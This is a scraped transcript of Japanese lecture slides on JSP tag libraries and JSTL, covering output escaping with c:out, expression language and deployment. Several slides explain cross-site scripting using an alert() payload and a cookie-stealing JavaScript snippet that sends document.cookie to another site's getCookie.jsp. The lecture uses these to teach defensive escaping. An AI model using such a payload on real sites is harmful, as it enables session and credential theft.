Presentation is loading. Please wait.

Presentation is loading. Please wait.

タグライブラリ ソフトウェア特論 第6回.

Similar presentations


Presentation on theme: "タグライブラリ ソフトウェア特論 第6回."— Presentation transcript:

1 タグライブラリ ソフトウェア特論 第6回

2 ここでの内容 タグライブラリの使い方、特にJSTLについて学ぶ。

3 タグライブラリ JSPの中で定義できる独自のタグ。 スクリプトレットを減らすことができる。 タグライブラリの構成
タグの処理を記述する Java のプログラム タグに関する情報を持つ Tag Library Descriptor (TLD)

4 さまざまなタグライブラリ 既製のタグライブラリもいくつかある。
JavaServer Pages Standard Tag Library (JSTL) 値の設定・制御構造 データベースへのアクセス、国際化、XMLの解析など Jakarta Taglibs Struts のタグライブラリ

5 タグのエンコード (1) フォームから入力した文字列を出力するサンプル
c:out を使うと、“<” や “>” や “&” といった文字をエンコードする。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> c:out を使った場合: <c:out value="${param.title}" />

6 タグのエンコード (2) 入力文字列 c:out を使った場合 c:out を使わない場合
<m>wakhok</m> c:out を使った場合 c:out を使わない場合 wakhok

7 クロスサイトスクリプティング (1) フォームから入力されたタグがそのまま出力される ↓ 入力された文字が JavaScript だった場合

8 <script>alert(“アホですか?”);</script>
クロスサイトスクリプティング (2) 実例 <script>alert(“アホですか?”);</script> 警告画面が表示されてしまう

9 クロスサイトスクリプティング (3) cookie が盗まれる例 (1)
ショッピングサイト “WAK” とその利用者が狙われる例 “WAK” の商品検索システムは、クロスサイトスクリプティングを引き起こしてしまうようになっている。 “WAK” では、商品を購入するときに使うユーザ名とパスワードを cookie に保存している。

10 クロスサイトスクリプティング (4) cookie が盗まれる例 (2)
ここで、怪しいサイト“A”が登場する。 “A” には、“WAK” へのリンクが貼られている。 その内容は WAK の Cookie を取得して、その Cookie を別のサイト “B” の getCookie.jsp に渡す JavaScript

11 クロスサイトスクリプティング (5) cookie が盗まれる例 (3)
リンクの内容 <a href= Hなサイト </a>

12 クロスサイトスクリプティング (6) cookie が盗まれる例 (4)
JavaScript の内容 <script> s = document.cookie; location.href = “ </script>

13 クロスサイトスクリプティング (7) cookie が盗まれる例 (5)
“WAK” の利用者が サイト “A” へのリンクをうっかり押してしまった場合 リンク先の “WAK” のサイトが表示されるとき、同時に JavaScript を実行されて Cookie を盗まれる ユーザ名とパスワードを盗られたので、あとはやられ放題。

14 タグのエンコード (3) タグの入力を許可してしまうと、クロスサイトスクリプティングを引き起こすことが考えられる。
タグの入力を許可しない方がよい。 こうした処理をタグライブラリを使わずに書くには、スクリプトレットを使う必要がある。

15 タグライブラリを使う 利用するタグライブラリと、その接頭辞を指定
taglib prefix="c" uri=" %>

16 式言語 (Expression Language)
${var} 変数 var ${param.title} フォームから入力されたデータ "title" の値 ${book.author} book という Bean の author プロパティ

17 制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul>

18 Tomcat への配置 JSTL の配布パッケージの lib フォルダに含まれている次の4つのjarファイルを WEB-INF/lib フォルダにコピーする。 jstl.jar standard.jar jaxen-full.jar saxpath.jar


Download ppt "タグライブラリ ソフトウェア特論 第6回."

Similar presentations


Ads by Google